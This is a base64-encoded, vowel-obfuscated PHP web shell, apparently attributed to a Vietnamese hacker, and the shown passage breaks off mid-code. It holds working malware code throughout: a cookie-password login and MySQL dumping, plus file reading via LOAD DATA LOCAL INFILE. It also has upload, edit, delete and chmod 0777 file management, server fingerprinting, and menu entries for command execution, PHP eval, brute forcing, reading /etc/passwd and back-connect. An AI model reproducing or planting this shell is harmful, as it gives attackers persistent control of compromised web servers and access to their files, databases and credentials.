NCgl7DQoJJDVycl9tNXNzID0gJzx0MWJsNSB3NGR0aD02MDAlPjx0cj48dGQgYmdjMmwycj0jMEUwRTBFIHc0ZHRoPTYwMCUgaDU0Z2h0PWF1PjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGMybDJyPXI1ZCBmMWM1PXQxaDJtMSBzNHo1PWE+PGJsNG5rPlMxNCBNJiM3OGlvO3QgS2gmIzc4dTk7MyBWMzQgTCYjYXVhO25nIFY0JiM3ODc2O3QgTCYjNzh1Njs0PC9ibDRuaz48QlI+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1Pic7DQo1Y2gyICQ1cnJfbTVzczsNCgl9fQ0KCTRmICgkX0NPT0tJRVsndmIxcDFzcyddKSB7DQoJCTRmICgkX0NPT0tJRVsndmIxcDFzcyddICE9ICQxZG00blsncDFzcyddKSB7DQoJCQlsMmc0bnAxZzUoKTsNCgkJfQ0KCX0gNWxzNSB7DQoJCWwyZzRucDFnNSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09IEwyZzRuID09PT09PT09PT09PT09PT09PT09PSovDQoNCiQ1cnJtc2cgPSAnJzsNCg0KNGYgKCQxY3Q0Mm4gPT0gJ3BocDRuZjInKSB7DQoJNGYgKElTX1BIUElORk8pIHsNCgkJcGhwNG5mMigpOw0KCX0gNWxzNSB7DQoJCSQ1cnJtc2cgPSAncGhwNG5mMigpIGYzbmN0NDJuIGgxcyBuMm4tcDVybTRzczRibDUnOw0KCX0NCn0NCg0KDQo0ZiAoJGQyNG5nID09ICdkMnduZjRsNScgJiYgJHRoNWY0bDUpIHsNCgk0ZiAoIUBmNGw1XzV4NHN0cygkdGg1ZjRsNSkpIHsNCgkJJDVycm1zZyA9ICdUaDUgZjRsNSB5MjMgdzFudCBEMndubDIxZDFibDUgdzFzIG4ybjV4NHN0NW50JzsNCgl9IDVsczUgew0KCQkkZjRsNTRuZjIgPSBwMXRoNG5mMigkdGg1ZjRsNSk7DQoJCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi94LScuJGY0bDU0bmYyWyc1eHQ1bnM0Mm4nXSk7DQoJCWg1MWQ1cignQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Jy4kZjRsNTRuZjJbJ2IxczVuMW01J10pOw0KCQloNTFkNXIoJ0MybnQ1bnQtTDVuZ3RoOiAnLmY0bDVzNHo1KCR0aDVmNGw1KSk7DQoJCUByNTFkZjRsNSgkdGg1ZjRsNSk7DQoJCTV4NHQ7DQoJfQ0KfQ0KDQoNCjRmICgkZDI0bmcgPT0gJ2IxY2szcG15c3FsJyAmJiAhJHMxdjUxc2Y0bDUpIHsNCglkYmMybm4oJGRiaDJzdCwgJGRiM3M1ciwgJGRicDFzcywgJGRibjFtNSwgJGNoMXJzNXQsICRkYnAycnQpOw0KCSR0MWJsNSA9IDFycjF5X2ZsNHAoJHQxYmw1KTsNCgkkcjVzM2x0ID0gcSgiU0hPVyB0MWJsNXMiKTsNCgk0ZiAoISRyNXMzbHQpIHAoJzxoYT4nLm15c3FsXzVycjJyKCkuJzwvaGE+Jyk7DQoJJGY0bDVuMW01ID0gYjFzNW4xbTUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7DQoJaDUxZDVyKCdDMm50NW50LXR5cDU6IDFwcGw0YzF0NDJuLzNua24yd24nKTsNCgloNTFkNXIoJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PScuJGY0bDVuMW01KTsNCgkkbXlzcWxkMXQxID0gJyc7DQoJd2g0bDUgKCRjM3JyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KSkgew0KCQk0ZiAoNHNzNXQoJHQxYmw1WyRjM3JyMndbMF1dKSkgew0KCQkJJG15c3FsZDF0MSAuPSBzcWxkM21wdDFibDUoJGMzcnIyd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2wyczUoKTsNCgk1eDR0Ow0KfQ0KDQovLyBNeXNxbA0KNGYoJGQyNG5nPT0nbXlzcWxkMnduJyl7DQoJNGYgKCEkZGJuMW01KSB7DQoJCSQ1cnJtc2cgPSAnUGw1MXM1IDRucDN0IGRibjFtNSc7DQoJfSA1bHM1IHsNCgkJZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkJNGYgKCFmNGw1XzV4NHN0cygkbXlzcWxkbGY0bDUpKSB7DQoJCQkkNXJybXNnID0gJ1RoNSBmNGw1IHkyMyB3MW50IEQyd25sMjFkMWJsNSB3MXMgbjJuNXg0c3Q1bnQnOw0KCQl9IDVsczUgew0KCQkJJHI1czNsdCA9IHEoInM1bDVjdCBsMjFkX2Y0bDUoJyRteXNxbGRsZjRsNScpOyIpOw0KCQkJNGYoISRyNXMzbHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF8xbmc1bDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wXzFuZzVsIChjMm50NW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvL0Qyd25sMjFkIFNRTA0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuMWRkc2wxc2g1cygkbXlzcWxkbGY0bDUpLiInIElOVE8gVEFCTEUgdG1wXzFuZzVsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfXzFuZzVsX3skdDRtNXN0MW1wfV81MmZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfXzFuZzVsX3skdDRtNXN0MW1wfV81MmZfXyc7Iik7DQoJCQkJJHI1czNsdCA9IHEoInM1bDVjdCBjMm50NW50IGZyMm0gdG1wXzFuZzVsIik7DQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfMW5nNWwiKTsNCgkJCX0NCgkJCSRyMncgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCk7DQoJCQk0ZiAoISRyMncpIHsNCgkJCQkkNXJybXNnID0gJ0wyMWQgZjRsNSBmMTRsNWQgJy5teXNxbF81cnIycigpOw0KCQkJfSA1bHM1IHsNCgkJCQkkZjRsNTRuZjIgPSBwMXRoNG5mMigkbXlzcWxkbGY0bDUpOw0KCQkJCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi94LScuJGY0bDU0bmYyWyc1eHQ1bnM0Mm4nXSk7DQoJCQkJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0nLiRmNGw1NG5mMlsnYjFzNW4xbTUnXSk7DQoJCQkJaDUxZDVyKCJBY2M1cHQtTDVuZ3RoOiAiLnN0cmw1bigkcjJ3WzBdKSk7DQoJCQkJNWNoMiAkcjJ3WzBdOw0KCQkJCTV4NHQ7DQoJCQl9DQoJCX0NCgl9DQp9DQoNCj8+DQoNCjxodG1sPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCI+DQo8dDR0bDU+PD9waHAgNWNoMiBzdHJfcjVwbDFjNSgnLicsJycsJy46OlsgIFQzeSYjNzg3aTtuIEgxY2s1ciBWNDV0bjFtNXM1IC0gRkI6IGZiLmMybS90M3k1bjY5OTcgXTo6LicpOz8+PC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQpiMmR5LHRke2YybnQ6IDYwcHQgVDFoMm0xO2MybDJyOmdyMXk7bDRuNS1oNTRnaHQ6IDZlcHg7fQ0KDQoxIHtjMmwycjogIzd1QWEwYTt0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQoxOmgydjVye2MybDJyOiAjZjAwO3Q1eHQtZDVjMnIxdDQybjozbmQ1cmw0bjU7fQ0KLjFsdDYgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6IzBFMEUwRTtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLjFsdGEgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6I2Y5ZjlmOTtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmYyYzNzIHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTowcHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiMwRTBFMEU7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi5mMjN0NiB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06MHB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojMEUwRTBFO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDt9DQouZjIzdCB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06MHB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojYTBhMGEwO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDt9DQouaDUxZCB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06NnB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojYTBhMGEwO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDtmMm50LXc1NGdodDpiMmxkO30NCi5oNTFkX3NtMWxsIHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiNhMGEwYTA7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O2YybnQtdzU0Z2h0Om4ycm0xbDtmMm50LXM0ejU6OHB0O30NCi5oNTFkIHRkIHNwMW57ZjJudC13NTRnaHQ6bjJybTFsO30NCmYycm17bTFyZzRuOjA7cDFkZDRuZzowO30NCmhhe20xcmc0bjowO3AxZGQ0bmc6MDtoNTRnaHQ6YXVweDtsNG41LWg1NGdodDphdXB4O2YybnQtczR6NTo2dXB4O2MybDJyOiNpQmU4ZUY7fQ0KM2wuNG5mMiBsNHttMXJnNG46MDtjMmwycjojdXV1O2w0bjUtaDU0Z2h0OmF1cHg7aDU0Z2h0OmF1cHg7fQ0KM3t0NXh0LWQ1YzJyMXQ0Mm46IG4ybjU7YzJsMnI6Izc3NztmbDIxdDpsNWZ0O2Q0c3BsMXk6YmwyY2s7dzRkdGg6NmkwcHg7bTFyZzRuLXI0Z2h0OjYwcHg7fQ0KNG5wM3QsIHQ1eHQxcjUxLCBiM3R0Mm4NCnsNCglmMm50LXM0ejU6IDlwdDsNCgljMmwycjogI2NjYzsNCglmMm50LWYxbTRseTogdjVyZDFuMSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjYTBhMGEwOw0KCWIycmQ1ci1sNWZ0OiA2cHggczJsNGQgIzd1QWEwYTsNCgliMnJkNXItdDJwOiA2cHggczJsNGQgIzd1QWEwYTsNCgliMnJkNXItcjRnaHQ6IDZweCBzMmw0ZCAjN3VBYTBhOw0KCWIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjN3VBYTBhOw0KfQ0KczVsNWN0DQp7DQoJZjJudC1zNHo1OiA4cHQ7DQoJZjJudC13NTRnaHQ6IG4ycm0xbDsNCgljMmwycjogI2NjYzsNCglmMm50LWYxbTRseTogdjVyZDFuMSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjYTBhMGEwOw0KfQ0KDQo8L3N0eWw1Pg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KZjNuY3Q0Mm4gQ2g1Y2tBbGwoZjJybSkgew0KCWYycih2MXIgND0wOzQ8ZjJybS41bDVtNW50cy5sNW5ndGg7NCsrKSB7DQoJCXYxciA1ID0gZjJybS41bDVtNW50c1s0XTsNCgkJNGYgKDUubjFtNSAhPSAnY2hrMWxsJykNCgkJNS5jaDVjazVkID0gZjJybS5jaGsxbGwuY2g1Y2s1ZDsNCiAgICB9DQp9DQpmM25jdDQybiAkKDRkKSB7DQoJcjV0M3JuIGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKDRkKTsNCn0NCmYzbmN0NDJuIGcyMWN0NDJuKDFjdCl7DQoJJCgnZzIxY3Q0Mm4nKS4xY3Q0Mm4udjFsMzU9MWN0Ow0KCSQoJ2cyMWN0NDJuJykuczNibTR0KCk7DQp9DQo8L3NjcjRwdD4NCjwvaDUxZD4NCjxiMmR5IDJuTDIxZD0iNG40dCgpIiBzdHlsNT0ibTFyZzRuOjA7dDFibDUtbDF5MjN0OmY0eDVkOyB3MnJkLWJyNTFrOmJyNTFrLTFsbCIgYmdjMmwycj1ibDFjayBiMWNrZ3IyM25kPWh0dHA6Ly80NjA3dS5waDJ0MmIzY2s1dC5jMm0vMWxiM21zL3d1NmUvaDFjazVyZTAwOS91YTd1N2k5Zi5nNGY+DQoNCg0KPGQ0diBiMnJkNXI9IjAiIHN0eWw1PSJwMnM0dDQybjpmNHg1ZDsgdzRkdGg6IDYwMCU7IGg1NGdodDogYWlweDsgei00bmQ1eDogNjsgdDJwOiBvMDBweDsgbDVmdDogMDsiIDRkPSJsMjFkNG5nIiAxbDRnbj0iYzVudDVyIiB2MWw0Z249ImM1bnQ1ciI+DQoJCQkJPHQxYmw1IGIycmQ1cj0iNiIgdzRkdGg9IjY2MHB4IiBjNWxsc3AxYzRuZz0iMCIgYzVsbHAxZGQ0bmc9IjAiIHN0eWw1PSJiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1IiBiMnJkNXJjMmwycj0iIzAwb28wMCI+DQoJCQkJCTx0cj4NCg0KCQkJCQkJPHRkIDFsNGduPSJjNW50NXIiIHYxbDRnbj1jNW50NXI+DQoJCQkJIDxkNHYgYjJyZDVyPSI2IiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzBFMEUwRTsgZjRsdDVyOiAxbHBoMSgycDFjNHR5PTcwKTsgMnAxYzR0eTogLjc7IHc0ZHRoOiA2NjBweDsgaDU0Z2h0OiBhaXB4OyB6LTRuZDV4OiA2OyBiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1OyIgYjJyZDVyYzJsMnI9IiMwMGVlMDAiICAxbDRnbj0iYzVudDVyIj4NCgkJCQkgICBMMjFkNG5nPDRtZyBzcmM9Imh0dHA6Ly80bzhhLnBoMnQyYjNjazV0LmMybS8xbGIzbXMvMjJhZW8vdm5oMWNrNXIvbDIxZDRuZy5nNGYiPg0KCQkJCSAgPC9kNHY+DQoJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQk8L3QxYmw1Pg0KCQkJIDwvZDR2Pg0KDQogPHNjcjRwdD4NCiB2MXIgbGQ9KGQyYzNtNW50LjFsbCk7DQogIHYxciBuc3U9ZDJjM201bnQubDF5NXJzOw0KIHYxciBuc2U9ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQmJiFkMmMzbTVudC4xbGw7DQogdjFyIDQ1dT1kMmMzbTVudC4xbGw7DQogIDRmIChuc3UpDQogCWxkPWQyYzNtNW50LmwyMWQ0bmc7DQogNWxzNSA0ZiAobnNlKQ0KIAlsZD1kMmMzbTVudC5nNXRFbDVtNW50QnlJZCgibDIxZDRuZyIpLnN0eWw1Ow0KIDVsczUgNGYgKDQ1dSkNCiAJbGQ9ZDJjM201bnQuMWxsLmwyMWQ0bmcuc3R5bDU7DQogIGYzbmN0NDJuIDRuNHQoKQ0KIHsNCiA0Zihuc3Upe2xkLnY0czRiNGw0dHk9Img0ZGQ1biI7fQ0KIDVsczUgNGYgKG5zZXx8NDV1KSBsZC5kNHNwbDF5PSJuMm41IjsNCiB9DQogPC9zY3I0cHQ+DQoNCg0KDQoNCjx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiPg0KCTx0ciBjbDFzcz0iaDUxZF9zbTFsbCI+DQoJCTx0ZCAgdzRkdGg9NjAwJT4NCgkJPHQxYmw1IHc0ZHRoPTYwMCU+PHRyIGNsMXNzPSJoNTFkX3NtMWxsIj48dGQgIHc0ZHRoPThlcHg+PDEgdDR0bDU9IlZOIGgxY2s1ciIgaHI1Zj0iPD9waHAgJHM1bGY7Pz4iPjw0bWcgc3JjPWh0dHBzOi8vZmJjZG4tc3BoMnQycy1iLTEuMWsxbTE0aGQubjV0L2hwaDJ0MnMtMWstcHJuNi90Ni4wLTkvaW9pOHU5X2F1YTkwODZvOTY4OTY2OF85YTlhaWk4ZTdfbi5qcGcgaDU0Z2h0PThlIGIycmQ1cj0wPjwvMT48L3RkPjx0ZD4NCgkJPHNwMW4gc3R5bDU9ImZsMjF0Omw1ZnQ7Ij4gPD9waHAgNWNoMiAiSDJzdG4xbTU6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+ICB8IDwxIGhyNWY9Imh0dHA6Ly9mMWM1YjIyay5jMm0vdDN5NW42OTk3IiB0MXJnNXQ9Il9ibDFuayI+PD9waHAgNWNoMiBzdHJfcjVwbDFjNSgnLicsJycsJy46OlsgVDN5JiM3ODdpO24gSDFjazVyIFY0NXROMW0gXTo6LicpOz8+IDwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdsMmcyM3QnKTsiPjxmMm50IGMybDJyPXI1ZD4mI2E3YTsmI2FpOTtuZyBYMyYjNzh1aTt0PC9mMm50PjwvMT48L3NwMW4+IDxiciAvPg0KDQoJCTw/cGhwDQoJCSRjM3JsXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk7DQoJCSRteXNxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKTsNCgkJJG1zc3FsXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpOw0KCQkkcGdfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0Jyk7DQoJCSQycjFfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCcyYzRsMmcybicpOw0KDQo1Y2gyICgoJHMxZjVfbTJkNSk/KCJTMWY1X20yZDogPGI+PGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+PC9iPiAtICIpOigiUzFmNV9tMmQ6IDxiPjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICIpKTsNCjVjaDIgIlBIUCB2NXJzNDJuOiA8Yj4iLkBwaHB2NXJzNDJuKCkuIjwvYj4gLSAiOw0KCQk1Y2gyICJjVVJMOiAiLigoJGMzcmxfMm4pPygiPGI+PGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+PC9iPiAtICIpOigiPGI+PGYybnQgYzJsMnI9cjVkPk9GRjwvZjJudD48L2I+IC0gIikpOw0KCQk1Y2gyICJNeVNRTDogPGI+IjsNCiRteXNxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKTsNCjRmKCRteXNxbF8ybil7DQo1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD48L2I+IC0gIjsgfSA1bHM1IHsgNWNoMiAiPGYybnQgYzJsMnI9cjVkPk9GRjwvZjJudD48L2I+IC0gIjsgfQ0KNWNoMiAiTVNTUUw6IDxiPiI7DQokbXNzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0Jyk7DQo0ZigkbXNzcWxfMm4pezVjaDIgIjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiO301bHM1ezVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICI7fQ0KNWNoMiAiUDJzdGdyNVNRTDogPGI+IjsNCiRwZ18ybiA9IEBmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKTsNCjRmKCRwZ18ybil7NWNoMiAiPGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+PC9iPiAtICI7fTVsczV7NWNoMiAiPGYybnQgYzJsMnI9cjVkPk9GRjwvZjJudD48L2I+IC0gIjt9DQo1Y2gyICJPcjFjbDU6IDxiPiI7DQokMnIxXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnMmM0bDJnMm4nKTsNCjRmKCQycjFfMm4pezVjaDIgIjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4iO301bHM1ezVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPjxCUj4iO30NCg0KNWNoMiAiRDRzMWJsNSBmM25jdDQybnMgOiA8Yj4iOw0KNGYoJyc9PSgkZGY9QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpKXs1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5OT05FPC9mMm50PjwvYj48QlI+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+JGRmPC9mMm50PjwvYj48QlI+Ijt9DQoNCjVjaDIgIjxmMm50IGMybDJyPXdoNHQ1PlVuMW01IC0xPC9mMm50PjogIi5AczNic3RyKEBwaHBfM24xbTUoKSwwLDZhMCkuIjxicj4iOw0KNWNoMiAiPGYybnQgYzJsMnI9d2g0dDU+UzVydjVyPC9mMm50PjogIi5AczNic3RyKCRTRVJWRVJfU09GVFdBUkUsMCw2YTApLiIgLSA8ZjJudCBjMmwycj13aDR0NT40ZDwvZjJudD46ICIuQGc1dG15MzRkKCkuIigiLkBnNXRfYzNycjVudF8zczVyKCkuIikgLSAzNGQ9Ii5AZzV0bXkzNGQoKS4iICgiLkBnNXRfYzNycjVudF8zczVyKCkuIikgZzRkPSIuQGc1dG15ZzRkKCkuIigiLkBnNXRfYzNycjVudF8zczVyKCkuIik8YnI+IjsNCgkJPz4NCgkJPC90ZD48L3RyPjwvdDFibDU+PC90ZD4NCg0KCTwvdHI+DQoJPHRyIGNsMXNzPSIxbHQ2Ij4NCgkJPHRkICB3NGR0aD02MCU+PHNwMW4gc3R5bDU9ImZsMjF0Omw1ZnQ7Ij5bUzVydjVyIElQOiA8P3BocCA1Y2gyICI8ZjJudCBjMmwycj15NWxsMnc+Ii5nNXRoMnN0YnluMW01KCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mMm50PiI7Pz4gLSBZMjNyIElQOiA8P3BocCA1Y2gyICI8ZjJudCBjMmwycj15NWxsMnc+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mMm50PiI7Pz5dIDwvc3Axbj4gICA8YnIgLz4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyIC8+DQoJCQkNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ2Y0bDUnKTsiPkY0bDUgTTFuMWc1cjwvMT4gfA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignc3FsMWRtNG4nKTsiPk15U1FMIE0xbjFnNXI8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3NxbGY0bDUnKTsiPk15U1FMIFVwbDIxZCAmMW1wOyBEMndubDIxZDwvMT4gfA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignc2g1bGwnKTsiPkV4NWMzdDUgQzJtbTFuZDwvMT4gfA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybigncGhwNW52Jyk7Ij5QSFAgVjFyNDFibDU8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJzV2MWwnKTsiPkV2MWwgUEhQIEMyZDU8LzE+DQoNCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdicjN0NScpOyI+QnIzdDU8LzE+IDw/cGhwIH0/Pg0KCQkJPD9waHAgNGYgKCFJU19XSU4pIHs/PiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJzV0Y3B3ZCcpOyI+LzV0Yy9wMXNzd2Q8LzE+IDw/cGhwIH0/Pg0KCQkJPD9waHAgNGYgKCFJU19XSU4pIHs/PiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ2IxY2tjMm5uNWN0Jyk7Ij5CMWNrIEMybm41Y3Q8LzE+PD9waHAgfT8+DQoNCgkJPC90ZD4NCgk8L3RyPg0KPC90MWJsNT4NCjx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iNmkiIGM1bGxzcDFjNG5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nZzIxY3Q0Mm4nKSk7DQptMWs1aDRkNSgnMWN0NDJuJyk7DQpmMnJtZjIydCgpOw0KDQokNXJybXNnICYmIG0oJDVycm1zZyk7DQoNCi8vIEQ0ciBmM25jdDQybg0KISRkNHIgJiYgJGQ0ciA9ICcuJzsNCiRuMndwMXRoID0gZzV0UDF0aChTQV9ST09ULCAkZDRyKTsNCjRmIChzM2JzdHIoJGQ0ciwgLTYpICE9ICcvJykgew0KCSRkNHIgPSAkZDRyLicvJzsNCn0NCiQzNWQ0ciA9IDM1KCRkNHIpOw0KDQo0ZiAoISQxY3Q0Mm4gfHwgJDFjdDQybiA9PSAnZjRsNScpIHsNCg0KCS8vIE4ybi13cjR0NTFibDUNCgkkZDRyX3dyNHQ1MWJsNSA9IEA0c193cjR0MWJsNSgkbjJ3cDF0aCkgPyAnV3I0dDFibDUnIDogJ04ybi13cjR0MWJsNSc7DQoNCgkvLyBENWw1dDUgZDRyDQoJNGYgKCRkMjRuZyA9PSAnZDVsZDRyJyAmJiAkdGg1ZjRsNSkgew0KCQk0ZiAoIWY0bDVfNXg0c3RzKCR0aDVmNGw1KSkgew0KCQkJbSgkdGg1ZjRsNS4nIGQ0cjVjdDJyeSBkMjVzIG4ydCA1eDRzdCcpOw0KCQl9IDVsczUgew0KCQkJbSgnRDRyNWN0MnJ5IGQ1bDV0NSAnLihkNWx0cjU1KCR0aDVmNGw1KSA/IGIxczVuMW01KCR0aDVmNGw1KS4nIHMzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENyNTF0NSBuNXcgZDRyDQoJNWxzNTRmICgkbjV3ZDRybjFtNSkgew0KCQkkbWtkNHJzID0gJG4yd3AxdGguJG41d2Q0cm4xbTU7DQoJCTRmIChmNGw1XzV4NHN0cygkbWtkNHJzKSkgew0KCQkJbSgnRDRyNWN0MnJ5IGgxcyAxbHI1MWR5IDV4NHN0NWQnKTsNCgkJfSA1bHM1IHsNCgkJCW0oJ0Q0cjVjdDJyeSBjcjUxdDVkICcuKEBta2Q0cigkbWtkNHJzLDA3NzcpID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJCUBjaG0yZCgkbWtkNHJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gVXBsMjFkIGY0bDUNCgk1bHM1NGYgKCRkMjNwZjRsNSkgew0KCQltKCdGNGw1IDNwbDIxZCAnLihAYzJweSgkX0ZJTEVTWyczcGwyMWRmNGw1J11bJ3RtcF9uMW01J10sJDNwbDIxZGQ0ci4nLycuJF9GSUxFU1snM3BsMjFkZjRsNSddWyduMW01J10pID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgl9DQoNCgkvLyBFZDR0IGY0bDUNCgk1bHM1NGYgKCQ1ZDR0ZjRsNW4xbTUgJiYgJGY0bDVjMm50NW50KSB7DQoJCSRmcCA9IEBmMnA1bigkNWQ0dGY0bDVuMW01LCd3Jyk7DQoJCW0oJ1MxdjUgZjRsNSAnLihAZndyNHQ1KCRmcCwkZjRsNWMybnQ1bnQpID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJQGZjbDJzNSgkZnApOw0KCX0NCg0KCS8vIE0yZDRmeQ0KCTVsczU0ZiAoJHBmNGw1ICYmICRuNXdwNXJtKSB7DQoJCTRmICghZjRsNV81eDRzdHMoJHBmNGw1KSkgew0KCQkJbSgnVGg1IDJyNGc0bjFsIGY0bDUgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCSRuNXdwNXJtID0gYjFzNV9jMm52NXJ0KCRuNXdwNXJtLDgsNjApOw0KCQkJbSgnTTJkNGZ5IGY0bDUgMXR0cjRiM3Q1cyAnLihAY2htMmQoJHBmNGw1LCRuNXdwNXJtKSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBSNW4xbTUNCgk1bHM1NGYgKCQybGRuMW01ICYmICRuNXdmNGw1bjFtNSkgew0KCQkkbm4xbTUgP